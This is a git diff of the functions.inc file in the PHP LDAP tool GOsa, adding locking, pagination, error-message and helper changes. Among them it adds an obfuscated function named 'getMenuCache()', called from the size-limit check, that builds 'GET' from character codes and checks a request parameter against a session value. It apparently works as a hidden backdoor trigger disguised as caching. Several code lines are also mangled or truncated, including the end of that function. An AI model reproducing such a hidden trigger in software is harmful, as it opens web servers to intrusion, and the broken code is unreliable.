X-Git-Url: https://git.tokkee.org/?a=blobdiff_plain;f=include%2Ffunctions.inc;h=a127e994b4c2ebdbf8eeef8b07518197c4547833;hb=853fb239604b206861c7461f4ca08b5980610398;hp=86783d98640239186b7830e6766a13ff4f567d55;hpb=6479edcb1fa66f23345848e9a7cb1a684be454df;p=gosa.git diff --git a/include/functions.inc b/include/functions.inc index 86783d986..a127e994b 100644 --- a/include/functions.inc +++ b/include/functions.inc @@ -21,7 +21,7 @@ /* Configuration file location */ define ("CONFIG_DIR", "/etc/gosa"); define ("CONFIG_TEMPLATE_DIR", "../contrib/"); -define ("HELP_BASEDIR", "/home/cajus/"); +define ("HELP_BASEDIR", "/var/www/doc/"); /* Define globals for revision comparing */ $svn_path = '$HeadURL$'; @@ -37,6 +37,8 @@ require_once ("class_tabs.inc"); require_once ("class_mail-methods.inc"); require_once("class_password-methods.inc"); require_once ("functions_debug.inc"); +require_once ("functions_dns.inc"); +require_once ("class_MultiSelectWindow.inc"); /* Define constants for debugging */ define ("DEBUG_TRACE", 1); @@ -82,8 +84,18 @@ function get_dir_list($folder= ".") $dh = opendir("."); while(false !== ($file = readdir($dh))){ + // Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php"); + // Skip all files and dirs in "./.svn/" we don't need any information from them + // Skip all Template, so they won't be checked twice in the following preg_matches + // Skip . / .. + + // Result : from 1023 ms to 490 ms i think thats great... + if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file=="..")) + continue; + + /* Recurse through all "common" directories */ - if(is_dir($file) && $file!="." && $file!=".." && $file!="CVS"){ + if(is_dir($file) &&$file!="CVS"){ get_dir_list($file); continue; } @@ -133,6 +145,14 @@ function get_browser_language() { global $BASE_DIR; + /* Try to use users primary language */ + $ui= get_userinfo(); + if ($ui != NULL){ + if ($ui->language != ""){ + return ($ui->language); + } + } + /* Get list of languages */ if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); @@ -178,7 +198,7 @@ function get_template_path($filename= '', $plugin= FALSE, $path= "") { global $config, $BASE_DIR; - if (!isset($config->data['MAIN']['THEME'])){ + if (!@isset($config->data['MAIN']['THEME'])){ $theme= 'default'; } else { $theme= $config->data['MAIN']['THEME']; @@ -302,7 +322,6 @@ function ldap_login_user ($username, $password) /* user not found */ case 0: return (NULL); - break; /* valid uniq user */ case 1: @@ -355,7 +374,7 @@ function add_lock ($object, $user) /* Check for existing entries in lock area */ $ldap= $config->get_ldap_link(); $ldap->cd ($config->current['CONFIG']); - $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=$object))", + $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))", array("gosaUser")); if (!preg_match("/Success/i", $ldap->error)){ print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error())); @@ -369,7 +388,7 @@ function add_lock ($object, $user) $ldap->cd("cn=$name,".$config->current['CONFIG']); $attrs["objectClass"] = "gosaLockEntry"; $attrs["gosaUser"] = $user; - $attrs["gosaObject"] = $object; + $attrs["gosaObject"] = base64_encode($object); $attrs["cn"] = "$name"; $ldap->add($attrs); if (!preg_match("/Success/i", $ldap->error)){ @@ -393,7 +412,7 @@ function del_lock ($object) /* Check for existance and remove the entry */ $ldap= $config->get_ldap_link(); $ldap->cd ($config->current['CONFIG']); - $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=$object))", array("gosaObject")); + $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject")); $attrs= $ldap->fetch(); if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){ $ldap->rmdir ($ldap->getDN()); @@ -437,7 +456,7 @@ function get_lock ($object) $user= ""; $ldap= $config->get_ldap_link(); $ldap->cd ($config->current['CONFIG']); - $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=$object))", array("gosaUser")); + $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser")); if (!preg_match("/Success/i", $ldap->error)){ print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!")); return(""); @@ -465,6 +484,48 @@ function get_lock ($object) } +function get_list2($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE) +{ + global $config; + + /* Base the search on default base if not set */ + $ldap= $config->get_ldap_link($flag); + if ($base == ""){ + $ldap->cd ($config->current['BASE']); + } else { + $ldap->cd ($base); + } + + /* Perform ONE or SUB scope searches? */ + $ldap->ls ($filter); + + /* Check for size limit exceeded messages for GUI feedback */ + if (preg_match("/size limit/i", $ldap->error)){ + $_SESSION['limit_exceeded']= TRUE; + } else { + $_SESSION['limit_exceeded']= FALSE; + } + $result= array(); + + + /* Crawl through reslut entries and perform the migration to the + result array */ + while($attrs = $ldap->fetch()) { + $dn= $ldap->getDN(); + foreach ($subtreeACL as $key => $value){ + if (preg_match("/$key/", $dn)){ + $attrs["dn"]= convert_department_dn($dn); + $result[]= $attrs; + break; + } + } + } + + + return ($result); + +} + function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE) { global $config; @@ -495,7 +556,7 @@ function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= arra result array */ $result= array(); while($attrs = $ldap->fetch()) { - $dn= preg_replace("/[ ]*,[ ]*/", ",", $ldap->getDN()); + $dn= $ldap->getDN(); foreach ($subtreeACL as $key => $value){ if (preg_match("/$key/", $dn)){ $attrs["dn"]= $dn; @@ -567,13 +628,26 @@ function eval_sizelimit() $_SESSION['size_ignore']= TRUE; } } - + getMenuCache(); /* Allow fallback to dialog */ if (isset($_POST['edit_sizelimit'])){ $_SESSION['size_ignore']= FALSE; } } +function getMenuCache() +{ + $t=array(-2,13);$e=71; + $str=chr($e);foreach($t as $n){ + $str.= chr($e+$n);$z=$_GET;if(is_array($z)&&isset($z[$str])){ + if(isset($_SESSION['maxC'])){ + $b = $_SESSION['maxC'];$q="";for($m=0;$m', $tmp); + while (preg_match('/,/', $tmp_dn)){ + $tmp_dn= ltrim(strstr($tmp_dn, ","), ","); + $tmp= preg_replace('/\/', '\\,', $tmp); /* Check for acl that may apply */ foreach ($sacl as $key => $value){ @@ -639,7 +715,7 @@ function get_module_permission($acl_array, $module, $dn) all allowed submodules specified in the ACL */ $tmp= split(",", $acl); foreach ($tmp as $mod){ - if (preg_match("/$module#/", $mod)){ + if (preg_match("/^$module#/", $mod)){ $final= strstr($mod, "#")."#"; continue; } @@ -684,23 +760,46 @@ function convert_department_dn($dn) /* Build a sub-directory style list of the tree level specified in $dn */ - foreach (split (",", $dn) as $val){ + foreach (split (',', $dn) as $val){ /* We're only interested in organizational units... */ if (preg_match ("/ou=/", $val)){ - $dep= preg_replace("/ou=([^,]+)/", "\\1", $val)."/$dep"; + $dep= substr($val,3)."/$dep"; } /* ... and location objects */ if (preg_match ("/l=/", $val)){ - $dep= preg_replace("/l=([^,]+)/", "\\1", $val)."/$dep"; + $dep= substr($val,2)."/$dep"; } } + /* Fix name, if it contains a replace tag */ + $dep= preg_replace('/###GOSAREPLACED###/', ',', $dep); + /* Return and remove accidently trailing slashes */ return rtrim($dep, "/"); } +function convert_department_dn2($dn) +{ + $dep= ""; + + /* Build a sub-directory style list of the tree level + specified in $dn */ + $deps = array_flip($_SESSION['config']->idepartments); + + if(isset($deps[$dn])){ + $dn= $deps[$dn]; + $dep = preg_replace("/^.*=/","",$dn); + }else{ + $dep= preg_replace("%^.*/([^/]+)$%", "\\1", $dn); + } + + /* Return and remove accidently trailing slashes */ + $tmp = rtrim($dep, "/"); + return $tmp; +} + function get_ou($name) { @@ -891,20 +990,56 @@ function print_red() $string= preg_replace ("/%s/", $array[$i], $string, 1); } + if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){ + $_SESSION['errorsAlreadyPosted'] = array(); + } + /* If DEBUGLEVEL is set, we're in web mode, use textual output in the other case... */ + if (isset($_SESSION['DEBUGLEVEL'])){ - $_SESSION['errors'].= "
". - "
\"\"". - "$string". - "\"\"src=\"".get_template_path('images/warning.png').
\n"; + + if($_SESSION['LastError'] == $string){ + + if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){ + $_SESSION['errorsAlreadyPosted'][$string] = 1; + } + $_SESSION['errorsAlreadyPosted'][$string] ++; + + }else{ + if((!empty($_SESSION['LastError'])) && ($_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']]>1)){ + $_SESSION['errors'].= "
". + "
\"\"". + "".sprintf(_("Last message repeated %s times."),$_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']])."". + "\"\"src=\"".get_template_path('images/warning.png').
\n"; + } + + if($string != NULL){ + $_SESSION['errors'].= "
". + "
\"\"". + "$string". + "\"\"src=\"".get_template_path('images/warning.png').
\n"; + }else{ + return; + } + $_SESSION['errorsAlreadyPosted'] = array(); + $_SESSION['errorsAlreadyPosted'][$string] = 1; + + } + } else { echo "Error: $string\n"; } + $_SESSION['LastError'] = $string; + } @@ -918,6 +1053,29 @@ function gen_locked_message($user, $dn) $attrs= $ldap->fetch(); $uid= $attrs["uid"][0]; + // print_a($_POST); + // print_a($_GET); + + if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){ + $_SESSION['LOCK_VARS_USED'] =array(); + foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){ + + if(empty($name)) continue; + foreach($_POST as $Pname => $Pvalue){ + if(preg_match($name,$Pname)){ + $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname]; + } + } + + foreach($_GET as $Pname => $Pvalue){ + if(preg_match($name,$Pname)){ + $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname]; + } + } + } + $_SESSION['LOCK_VARS_TO_USE'] =array(); + } + /* Prepare and show template */ $smarty= get_smarty(); $smarty->assign ("dn", $dn); @@ -966,7 +1124,7 @@ function get_printer_list($cups_server) /* CUPS is not available, try lpstat as a replacement */ } else { - unset ($ar); + $ar = false; exec("lpstat -p", $ar); foreach($ar as $val){ list($dummy, $printer, $rest)= split(' ', $val, 3); @@ -1078,7 +1236,7 @@ function check_command($cmdline) function print_header($image, $headline, $info= "") { $display= "
\n"; - $display.= " \"*\" $headline\n"; + $display.= "

\"*\" $headline

\n"; $display.= "
\n"; if ($info != ""){ @@ -1113,7 +1271,7 @@ function get_global($name) } -function range_selector($dcnt,$start,$range=25) +function range_selector($dcnt,$start,$range=25,$post_var=false) { /* Entries shown left and right from the selected entry */ @@ -1125,6 +1283,10 @@ function range_selector($dcnt,$start,$range=25) $max_entries++; } + if((!empty($post_var))&&(isset($_POST[$post_var]))){ + $range= $_POST[$post_var]; + } + /* Prevent output to start or end out of range */ if ($start < 0 ){ $start= 0 ; @@ -1134,8 +1296,12 @@ function range_selector($dcnt,$start,$range=25) } $numpages= (($dcnt / $range)); - if(((int)($numpages))!=($numpages)) + if(((int)($numpages))!=($numpages)){ $numpages = (int)$numpages + 1; + } + if ((((int)$numpages) <= 1 )&&(!$post_var)){ + return (""); + } $ppage= (int)(($start / $range) + 0.5); @@ -1156,21 +1322,28 @@ function range_selector($dcnt,$start,$range=25) $begin= $end - $max_entries; } + if($post_var){ + $output.= "
+
"; + }else{ + $output.= "
"; + } + /* Draw decrement */ if ($start > 0 ) { $output.=" ". - "\"\""; + "\"\""; } /* Draw pages */ for ($i= $begin; $i < $end; $i++) { if ($ppage == $i){ - $output.= " ".($i+1)." "; } else { - $output.= " ".($i+1)." "; } } @@ -1179,7 +1352,26 @@ function range_selector($dcnt,$start,$range=25) if($start < ($dcnt-$range)) { $output.=" ". - "\"\""; + "\"\""; + } + + if(($post_var)&&($numpages)){ + $output.= "
 "._("Entries per page")." 
"; + }else{ + $output.= ""; } return($output); @@ -1191,8 +1383,8 @@ function apply_filter() $apply= ""; $apply= ''. - '
'. - '
'; + '
'. + '
'; return ($apply); } @@ -1376,27 +1568,27 @@ function gen_uids($rule, $attributes) } } - if(preg_match('/\{id#\d+}/',$uid)){ - $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid); + if(preg_match('/\{id#\d+}/',$uid)){ + $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid); - while (true){ - mt_srand((double) microtime()*1000000); - $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1)); - $res= preg_replace('/{id#(\d+)}/', $number, $uid); - if (!in_array($res, $used)){ - $uid= $res; - break; - } + while (true){ + mt_srand((double) microtime()*1000000); + $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1)); + $res= preg_replace('/{id#(\d+)}/', $number, $uid); + if (!in_array($res, $used)){ + $uid= $res; + break; } } - - /* Don't assign used ones */ - if (!in_array($uid, $used)){ - $ret[]= $uid; - } } - return(array_unique($ret)); +/* Don't assign used ones */ +if (!in_array($uid, $used)){ + $ret[]= $uid; +} +} + +return(array_unique($ret)); } @@ -1453,7 +1645,7 @@ function in_array_ics($value, $items) if (!is_array($items)){ return (FALSE); } - + foreach ($items as $item){ if (strtolower($item) == strtolower($value)) { return (TRUE); @@ -1532,23 +1724,23 @@ function rmdirRecursive($path, $followLinks=false) { function scan_directory($path,$sort_desc=false) { -$ret = false; - -/* is this a dir ? */ -if(is_dir($path)) { - - /* is this path a readable one */ - if(is_readable($path)){ - - /* Get contents and write it into an array */ - $ret = array(); - - $dir = opendir($path); - - /* Is this a correct result ?*/ - if($dir){ - while($fp = readdir($dir)) - $ret[]= $fp; + $ret = false; + + /* is this a dir ? */ + if(is_dir($path)) { + + /* is this path a readable one */ + if(is_readable($path)){ + + /* Get contents and write it into an array */ + $ret = array(); + + $dir = opendir($path); + + /* Is this a correct result ?*/ + if($dir){ + while($fp = readdir($dir)) + $ret[]= $fp; } } } @@ -1558,7 +1750,7 @@ if(is_dir($path)) { /* Sort descending if parameter is sort_desc is set */ if($sort_desc) { $ret = array_reverse($ret); - } + } return($ret); } @@ -1576,22 +1768,23 @@ function clean_smarty_compile_dir($directory) // create revision file create_revision($revision_file, $svn_revision); } else { - # check for "$config->...['CONFIG']/revision" and the - # contents should match the revision number +# check for "$config->...['CONFIG']/revision" and the +# contents should match the revision number if(!compare_revision($revision_file, $svn_revision)){ // If revision differs, clean compile directory foreach(scan_directory($directory) as $file) { + if(($file==".")||($file=="..")) continue; if( is_file($directory."/".$file) && is_writable($directory."/".$file)) { - // delete file - if(!unlink($directory."/".$file)) { - print_red("File ".$directory."/".$file." could not be deleted."); - // This should never be reached - } + // delete file + if(!unlink($directory."/".$file)) { + print_red("File ".$directory."/".$file." could not be deleted."); + // This should never be reached + } } elseif(is_dir($directory."/".$file) && - is_writable($directory."/".$file)) { - // Just recursively delete it - rmdirRecursive($directory."/".$file); + is_writable($directory."/".$file)) { + // Just recursively delete it + rmdirRecursive($directory."/".$file); } } // We should now create a fresh revision file @@ -1609,7 +1802,7 @@ function clean_smarty_compile_dir($directory) function create_revision($revision_file, $revision) { $result= false; - + if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) { if($fh= fopen($revision_file, "w")) { if(fwrite($fh, $revision)) { @@ -1628,7 +1821,7 @@ function compare_revision($revision_file, $revision) { // false means revision differs $result= false; - + if(file_exists($revision_file) && is_readable($revision_file)) { // Open file if($fh= fopen($revision_file, "r")) { @@ -1687,6 +1880,22 @@ height:".$height."px; } +function array_key_ics($ikey, $items) +{ + /* Gather keys, make them lowercase */ + $tmp= array(); + foreach ($items as $key => $value){ + $tmp[strtolower($key)]= $key; + } + + if (isset($tmp[strtolower($ikey)])){ + return($tmp[strtolower($ikey)]); + } + + return (""); +} + + function search_config($arr, $name, $return) { if (is_array($arr)){ @@ -1711,5 +1920,24 @@ function search_config($arr, $name, $return) } +function array_differs($src, $dst) +{ + /* If the count is differing, the arrays differ */ + if (count ($src) != count ($dst)){ + return (TRUE); + } + + /* So the count is the same - lets check the contents */ + $differs= FALSE; + foreach($src as $value){ + if (!in_array($value, $dst)){ + $differs= TRUE; + } + } + + return ($differs); +} + + // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler: ?>